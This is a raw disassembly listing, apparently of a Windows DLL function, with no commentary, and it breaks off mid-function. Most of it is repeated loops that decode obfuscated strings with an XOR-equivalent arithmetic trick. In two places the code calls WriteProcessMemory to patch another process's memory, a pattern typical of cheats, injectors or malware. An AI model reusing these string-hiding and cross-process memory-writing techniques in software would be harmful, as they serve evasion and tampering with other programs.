mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1f
jb 0x18002aa60
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0xb30]
call fcn.18000f570
mov rdx, rax
lea rcx, [rsp + 0xf80]
call fcn.180032680
mov rbx, rax
mov dword [rsp + 0x650], 0xdacec7c9
mov byte [rsp + 0x654], 0x4a
xorps xmm0, xmm0
movups xmmword [rsp + 0x655], xmm0
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
cmp rcx, 0x15
jae 0x18002ab5e
movabs r9, 0x5863a6106bbf924d
nop
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x650]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x1b
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x650], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x15
jb 0x18002ab10
lea rdx, [rsp + 0x650]
lea rcx, [rsp + 0xb50]
call fcn.18000f570
mov rdx, rax
mov rcx, rbx
call fcn.180032680
mov rbx, rax
mov dword [rsp + 0x3b0], 0xfce4faf8
mov dword [rsp + 0x3b4], 0xf0ebfe04
mov byte [rsp + 0x3b8], 0x5e
xor eax, eax
mov qword [rsp + 0x3b9], rax
mov byte [rsp + 0x3c1], al
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
cmp rcx, 0x12
jae 0x18002ac1e
movabs r9, 0xc0b9e24258a8def3
nop word [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x3b0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x5b
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x3b0], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x12
jb 0x18002abd0
lea rdx, [rsp + 0x3b0]
lea rcx, [rsp + 0xb70]
call fcn.18000f570
mov rdx, rax
mov rcx, rbx
call fcn.180032680
movzx r8d, byte [rsp + 0xf00]
lea rdx, [rsp + 0x8b0]
mov rcx, rax
call fcn.180035130
lea rdx, [rsp + 0x8b0]
lea rcx, [rsp + 0x1000]
call fcn.1800163d0
lea rcx, [rsp + 0x8b0]
call fcn.180016370
mov dword [rsp + 0x630], 0xf70bf0e2
mov byte [rsp + 0x634], 0x68
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x635], xmm0
mov dword [rsp + 0x645], eax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x19
jae 0x18002ad0e
movabs r9, 0xdbd707d10a4649f2
nop word [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x630]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x62
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x630], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x19
jb 0x18002acc0
lea rdx, [rsp + 0x630]
lea rcx, [rsp + 0xfe0]
call fcn.180019a10
test al, al
je 0x18002b08f
movzx edx, byte [rsp + 0xf00]
lea rcx, [rsp + 0x6c0]
call fcn.18000f5b0
nop
xor r8d, r8d
lea rdx, [0x180131b35]
lea rcx, [rsp + 0x6c0]
call fcn.18000f5d0
nop
mov dword [rsp + 0x570], 0x776b7042
mov byte [rsp + 0x574], 0xc8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x575], xmm0
mov word [rsp + 0x585], ax
mov byte [rsp + 0x587], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x18
jae 0x18002aded
movabs r9, 0x928fba7ff3d3562
mov r8, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x570]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 0x52
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x570], cl
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x18
jb 0x18002ada2
movzx edx, byte [rsp + 0xf00]
lea rcx, [rsp + 0x6e0]
call fcn.18000f5b0
nop
lea rax, [rsp + 0x570]
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x18002ae10
lea rdx, [rsp + 0x570]
lea rcx, [rsp + 0x6e0]
call fcn.18000f5d0
nop
lea r9, [rsp + 0x6c0]
lea r8, [rsp + 0x1000]
lea rdx, [rsp + 0x6e0]
lea rcx, [rsp + 0xb90]
call fcn.180025b30
nop
mov rdx, rax
lea rcx, [rsp + 0x1100]
call fcn.180028fe0
nop
lea rcx, [rsp + 0xb90]
call fcn.180016370
nop
lea rcx, [rsp + 0x6e0]
call fcn.180016370
nop
lea rcx, [rsp + 0x6c0]
call fcn.180016370
lea rdx, [0x1801330b4]
lea rcx, [rsp + 0x130]
call fcn.180035210
mov qword [rsp + 0x140], rsi
lea rdx, [rsp + 0x1100]
lea rcx, [rsp + 0x148]
call fcn.180030870
mov qword [rsp + 0x158], rsi
lea rax, [rsp + 0x130]
mov qword [rsp + 0xf60], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0xf68], rax
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0xf60]
lea rcx, [rsp + 0x60]
call fcn.18002df80
mov qword [rsp + 0x70], rsi
lea rax, [rsp + 0x60]
mov qword [rsp + 0xdd0], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0xdd8], rax
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0xdd0]
lea rcx, [rsp + 0x10e0]
call fcn.18002df80
nop
lea r9, [fcn.18002d770]
mov r8, r15
mov edx, 0x18
lea rcx, [rsp + 0x60]
call fcn.1800d25a0
nop
lea r9, [fcn.18002d770]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rsp + 0x130]
call fcn.1800d25a0
lea r8, [rsp + 0x1100]
lea rdx, [0x1801330c8]
lea rcx, [rsp + 0xf38]
call fcn.180019a60
nop
mov r8d, 4
lea rdx, [0x1801330bc]
mov rcx, rax
call fcn.1800162e0
mov rdx, rax
lea rcx, [rsp + 0xf10]
call fcn.180016460
lea rdx, [rsp + 0xf10]
lea rcx, [rsp + 0x1180]
call fcn.180022900
nop
lea rcx, [rsp + 0xf38]
call fcn.180016370
mov rcx, r14
call fcn.1800055d0
test al, al
cmove r14, rdi
lea rcx, [r14 + 0x158]
call fcn.180008c00
mov rbx, rax
lea rcx, [rax + 0x10]
lea rdx, [rsp + 0x1180]
call fcn.18003d910
mov rcx, qword [rsp + 0x1190]
mov qword [rsp + 0xf60], rcx
lea rdx, [rbx + 0x20]
mov qword [rsp + 0x20], rsi
mov r9d, 8
lea r8, [rsp + 0xf60]
mov rcx, qword [0x1801537e0]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
xor edx, edx
lea rcx, [rsp + 0x1100]
call fcn.180017f60
xor edx, edx
lea rcx, [rsp + 0x1180]
call fcn.180017f60
nop
lea rcx, [rsp + 0x1180]
call fcn.180016370
nop
movzx edx, byte [rsp + 0x10e0]
lea rcx, [rsp + 0x10e8]
call fcn.18002fe20
nop
lea rcx, [rsp + 0x1100]
call fcn.180016370
jmp 0x18002cde5
mov dword [rsp + 0x590], 0xa7b3aba7
mov word [rsp + 0x594], 0xe549
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x596], xmm0
mov dword [rsp + 0x5a6], eax
mov byte [rsp + 0x5aa], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x1b
jae 0x18002b12e
movabs r9, 0xe6c29f1b0436087c
nop dword [rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x590]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x64
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x590], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1b
jb 0x18002b0e0
lea rdx, [rsp + 0x590]
lea rcx, [rsp + 0xfe0]
call fcn.180019a10
test al, al
je 0x18002b525
mov dword [rsp + 0x80], 0x6031402
mov dword [rsp + 0x84], 0xb7020611
xor eax, eax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x10
jae 0x18002b1d3
movabs r9, 0xa297dc1ffaf28918
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x80]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x58
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x80], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x10
jb 0x18002b185
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xbb0]
call fcn.18000f570
mov rdx, rax
lea rcx, [rsp + 0xf80]
call fcn.180032680
mov rbx, rax
mov dword [rsp + 0x5b0], 0xd0d8dfd5
mov byte [rsp + 0x5b4], 0x40
xor eax, eax
mov qword [rsp + 0x5b5], rax
mov dword [rsp + 0x5bd], eax
mov word [rsp + 0x5c1], ax
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
cmp rcx, 0x13
jae 0x18002b28f
movabs r9, 0xae47aa8990b72376
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x5b0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x3a
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x5b0], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x13
jb 0x18002b241
lea rdx, [rsp + 0x5b0]
lea rcx, [rsp + 0xbd0]
call fcn.18000f570
mov rdx, rax
mov rcx, rbx
call fcn.180032680
mov rbx, rax
mov dword [rsp + 0x450], 0xf78c8e83
mov dword [rsp + 0x454], 0xf4f28b81
mov byte [rsp + 0x458], 0x68
xor eax, eax
mov qword [rsp + 0x459], rax
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
cmp rcx, 0x11
jae 0x18002b342
movabs r9, 0x70004654bed65130
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x450]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x50
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x450], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x11
jb 0x18002b2f4
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0xbf0]
call fcn.18000f570
mov rdx, rax
mov rcx, rbx
call fcn.180032680
movzx r8d, byte [rsp + 0xf00]
lea rdx, [rsp + 0x11c0]
mov rcx, rax
call fcn.180035130
nop
lea rcx, [rsp + 0x11c0]
call fcn.1800161f0
mov rbx, rax
movzx edx, byte [rsp + 0xf00]
lea rcx, [rsp + 0x670]
call fcn.18000f5b0
nop
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x18002b3a5
mov rdx, rbx
lea rcx, [rsp + 0x670]
call fcn.18000f5d0
nop
lea rdx, [rsp + 0x670]
lea rcx, [rsp + 0x7b0]
call fcn.1800046c0
mov rdx, rax
lea rcx, [rsp + 0xfc0]
call fcn.1800163d0
lea rcx, [rsp + 0x7b0]
call fcn.180016370
nop
lea rcx, [rsp + 0x670]
call fcn.180016370
mov dword [rsp + 0x90], 0x87738387
mov word [rsp + 0x94], 0x975
xor eax, eax
mov qword [rsp + 0x96], rax
mov word [rsp + 0x9e], ax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x10
jae 0x18002b48c
movabs r9, 0x14eb24841a29aa02
mov r8, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x90]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 0xe
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x90], cl
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x10
jb 0x18002b441
movzx edx, byte [rsp + 0xf00]
lea rcx, [rsp + 0x670]
call fcn.18000f5b0
nop
lea rax, [rsp + 0x90]
nop word [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x18002b4b0
mov r8, rdi
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x670]
call fcn.18000f5d0
nop
lea r9, [rsp + 0xfc0]
lea r8, [rsp + 0x1000]
lea rdx, [rsp + 0x670]
lea rcx, [rsp + 0x7b0]
call fcn.180025b30
lea rcx, [rsp + 0x7b0]
call fcn.180016370
nop
lea rcx, [rsp + 0x670]
call fcn.180016370
nop
lea rcx, [rsp + 0x11c0]
call fcn.180016370
jmp 0x18002cde5
mov dword [rsp + 0x430], 0xd0c4c531
mov word [rsp + 0x434], 0x2dd8
mov byte [rsp + 0x436], 0x48
xor eax, eax
mov qword [rsp + 0x437], rax
mov word [rsp + 0x43f], ax
mov byte [rsp + 0x441], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x12
jae 0x18002b5c3
movabs r9, 0x8e1cfd374b34b9cd
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x430]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x65
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x430], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x12
jb 0x18002b575
lea rdx, [rsp + 0x430]
lea rcx, [rsp + 0xfe0]
call fcn.180019a10
test al, al
je 0x18002b985
mov dword [rsp + 0xa0], 0xa6a394a2
mov dword [rsp + 0xa4], 0x37a2a691
xor eax, eax
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x10
jae 0x18002b66b
movabs r9, 0x461d6c85ebe69288
nop word [rax + rax]
mov r8, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0xa0]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 0x48
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0xa0], cl
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x10
jb 0x18002b620
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0xf80]
call fcn.180030a30
mov r9, rax
mov dword [rsp + 0x4d0], 0x1a2e2729
mov byte [rsp + 0x4d4], 0xea
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x4d5], xmm0
mov qword [rsp + 0x4e5], rax
mov word [rsp + 0x4ed], ax
mov byte [rsp + 0x4ef], al
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
cmp rcx, 0x20
jae 0x18002b722
movabs r10, 0x95debc23c6968c1d
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x4d0]
add rcx, r10
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x35
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x4d0], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x20
jb 0x18002b6d4
lea rdx, [rsp + 0x4d0]
mov rcx, r9
call fcn.180030a30
mov rbx, rax
mov dword [rsp + 0x3d0], 0x67605eab
mov dword [rsp + 0x3d4], 0x60626395
mov byte [rsp + 0x3d8], 0xf4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x3d9], xmm0
mov byte [rsp + 0x3e9], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x1a
jae 0x18002b7cc
movabs r9, 0xae99827b16e8745e
mov r8, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x3d0]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 0x6e
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x3d0], cl
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1a
jb 0x18002b781
lea rdx, [rsp + 0x3d0]
lea rcx, [rsp + 0xc10]
call fcn.18000f570
mov rdx, rax
mov rcx, rbx
call fcn.180032680
movzx r8d, byte [rsp + 0xf00]
lea rdx, [rsp + 0x1260]
mov rcx, rax
call fcn.180035130
nop
lea rcx, [rsp + 0x1260]
call fcn.1800161f0
mov rbx, rax
movzx edx, byte [rsp + 0xf00]
lea rcx, [rsp + 0x690]
call fcn.18000f5b0
nop
nop dword [rax]
inc rdi
cmp byte [rbx + rdi], 0
jne 0x18002b830
mov r8, rdi
mov rdx, rbx
lea rcx, [rsp + 0x690]
call fcn.18000f5d0
nop
lea rdx, [rsp + 0x690]
lea rcx, [rsp + 0x7d0]
call fcn.1800046c0
mov rdx, rax
lea rcx, [rsp + 0xfc0]
call fcn.1800163d0
lea rcx, [rsp + 0x7d0]
call fcn.180016370
nop
lea rcx, [rsp + 0x690]
call fcn.180016370
mov dword [rsp + 0x4f0], 0x5c282955
mov word [rsp + 0x4f4], 0x5954
mov byte [rsp + 0x4f6], 0xbc
xor eax, eax
mov qword [rsp + 0x4f7], rax
mov word [rsp + 0x4ff], ax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x11
jae 0x18002b921
movabs r9, 0x8f2dac02385c7b67
mov r8, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x4f0]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 0x2f
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x4f0], cl
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x11
jb 0x18002b8d6
lea rdx, [rsp + 0x4f0]
lea rcx, [rsp + 0x690]
call fcn.18000f570
nop
lea r9, [rsp + 0xfc0]
lea r8, [rsp + 0x1000]
lea rdx, [rsp + 0x690]
lea rcx, [rsp + 0x7d0]
call fcn.180025b30
lea rcx, [rsp + 0x7d0]
call fcn.180016370
nop
lea rcx, [rsp + 0x690]
call fcn.180016370
nop
lea rcx, [rsp + 0x1260]
jmp 0x18002cddf
mov dword [rsp + 0x410], 0x9c949e92
mov word [rsp + 0x414], 0x9aae
mov byte [rsp + 0x416], 0x3c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x417], xmm0
mov word [rsp + 0x427], ax
mov byte [rsp + 0x429], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x1a
jae 0x18002ba2e
movabs r9, 0xdcfc9b421e460a07
nop dword [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x410]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x31
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x410], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1a
jb 0x18002b9e0
lea rdx, [rsp + 0x410]
lea rcx, [rsp + 0xfe0]
call fcn.180019a10
test al, al
je 0x18002bb65
lea rdx, [0x180131b35]
lea rcx, [rsp + 0x850]
call fcn.18000f570
nop
mov dword [rsp + 0x490], 0x362e3434
mov word [rsp + 0x494], 0x4858
mov byte [rsp + 0x496], 0xe6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x497], xmm0
mov dword [rsp + 0x4a7], eax
mov word [rsp + 0x4ab], ax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x1d
jae 0x18002bb01
movabs r9, 0x8f92a7663e2822bc
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x490]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x24
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x490], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1d
jb 0x18002bab3
lea rdx, [rsp + 0x490]
lea rcx, [rsp + 0x8f0]
call fcn.18000f570
nop
lea r9, [rsp + 0x850]
lea r8, [rsp + 0x1000]
lea rdx, [rsp + 0x8f0]
lea rcx, [rsp + 0xc30]
call fcn.180025b30
lea rcx, [rsp + 0xc30]
call fcn.180016370
nop
lea rcx, [rsp + 0x8f0]
call fcn.180016370
nop
lea rcx, [rsp + 0x850]
jmp 0x18002cddf
mov dword [rsp + 0x4b0], 0xe2e4eae1
mov word [rsp + 0x4b4], 0xe8e0
mov byte [rsp + 0x4b6], 0x56
xor eax, eax
mov qword [rsp + 0x4b7], rax
mov word [rsp + 0x4bf], ax
mov byte [rsp + 0x4c1], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x12
jae 0x18002bc03
movabs r9, 0x6da2719d7bb95eb4
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x4b0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x14
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x4b0], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x12
jb 0x18002bbb5
lea rdx, [rsp + 0x4b0]
lea rcx, [rsp + 0xfe0]
call fcn.180019a10
test al, al
je 0x18002bfb7
lea rdx, [0x180131b35]
lea rcx, [rsp + 0xa10]
call fcn.18000f570
nop
mov dword [rsp + 0x310], 0x9a989a95
mov word [rsp + 0x314], 0xe49c
mov byte [rsp + 0x316], 6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x317], xmm0
mov dword [rsp + 0x327], eax
mov word [rsp + 0x32b], ax
mov byte [rsp + 0x32d], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x1e
jae 0x18002bcde
movabs r9, 0xd45ea0f169b1db56
nop
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x310]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x5a
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x310], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1e
jb 0x18002bc90
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x9f0]
call fcn.18000f570
nop
lea r9, [rsp + 0xa10]
lea r8, [rsp + 0x1000]
lea rdx, [rsp + 0x9f0]
lea rcx, [rsp + 0xc50]
call fcn.180025b30
nop
mov rdx, rax
lea rcx, [rsp + 0x1240]
call fcn.180028fe0
nop
lea rcx, [rsp + 0xc50]
call fcn.180016370
nop
lea rcx, [rsp + 0x9f0]
call fcn.180016370
nop
lea rcx, [rsp + 0xa10]
call fcn.180016370
lea rdx, [0x1801330b4]
lea rcx, [rsp + 0x130]
call fcn.180030b60
nop
lea rdx, [rsp + 0x1240]
lea rcx, [rsp + 0x148]
call fcn.180030c30
nop
lea r8, [rsp + 0x160]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0xdd0]
call fcn.18002db70
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xf60], xmm0
lea rdx, [rsp + 0xf60]
lea rcx, [rsp + 0x60]
call fcn.18002db40
nop
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x1020]
call fcn.18002db70
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xf60], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0xf60]
lea rcx, [rsp + 0x10f0]
call fcn.18002df80
nop
lea r9, [fcn.18002d770]
mov r8, r15
mov edx, 0x18
lea rcx, [rsp + 0x60]
call fcn.1800d25a0
nop
lea r9, [fcn.18002d770]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rsp + 0x130]
call fcn.1800d25a0
lea rcx, [rsp + 0x1580]
call fcn.18003dbc0
lea rcx, [rax + 0x88]
call fcn.18003d550
lea rcx, [rax + 0xd8]
call fcn.18003d550
lea rcx, [rax + 8]
call fcn.18003d550
lea rcx, [rax + 8]
call fcn.18003d550
mov r14, rax
mov dword [rsp + 0x28], esi
mov byte [rsp + 0x20], 0
mov r9b, 0x20
mov r8d, edi
lea rdx, [rsp + 0xf10]
lea rcx, [rsp + 0x10f0]
call fcn.18002dcb0
nop
mov rdx, rax
lea rcx, [rsp + 0x1080]
call fcn.180028fe0
nop
lea rcx, [rsp + 0xf10]
call fcn.180016370
lea rcx, [rsp + 0x1080]
call fcn.1800161e0
mov rdx, rax
lea rcx, [r14 + 0x50]
call fcn.18003da20
lea rcx, [rsp + 0x1080]
call fcn.1800161e0
lea rdx, [rax + 1]
lea rcx, [r14 + 0x58]
call fcn.18003da20
lea rdx, [0x1801330d4]
lea rcx, [rsp + 0xf38]
call fcn.18000f570
mov rdx, rax
lea rcx, [rsp + 0xf08]
call fcn.18003dcd0
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0xf38]
lea rcx, [rsp + 0xf08]
call fcn.18003de10
lea rdx, [0x1801330d4]
mov rcx, rax
call fcn.180019a10
movzx ebx, al
lea rcx, [rsp + 0xf38]
call fcn.180016370
test bl, bl
jne 0x18002bf10
lea rcx, [rsp + 0x1080]
call fcn.1800161e0
mov rdi, rax
lea rcx, [rsp + 0x1080]
call fcn.1800161f0
mov rbx, rax
lea rcx, [r14 + 0x40]
call fcn.18003d550
mov qword [rsp + 0x20], rsi
lea r9, [rdi + 1]
mov r8, rbx
mov rdx, rax
mov rcx, qword [0x1801537e0]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
nop
lea rcx, [rsp + 0x1080]
call fcn.180016370
nop
lea rcx, [rsp + 0x10f0]
call fcn.18002d770
nop
lea rcx, [rsp + 0x1240]
jmp 0x18002cddf
mov dword [rsp + 0x3f0], 0x6c647269
mov dword [rsp + 0x3f4], 0x75636168
mov byte [rsp + 0x3f8], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x3f9], xmm0
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x19
jae 0x18002c04e
movabs r9, 0x1f54a7ffbb2b7e80
nop word [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x3f0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x80
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x3f0], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x19
jb 0x18002c000
lea rdx, [rsp + 0x3f0]
lea rcx, [rsp + 0xfe0]
call fcn.180019a10
test al, al
je 0x18002c3f7
lea rdx, [0x180131b35]
lea rcx, [rsp + 0x830]
call fcn.18000f570
nop
mov dword [rsp + 0x290], 0x4c444a41
mov dword [rsp + 0x294], 0x454b4940
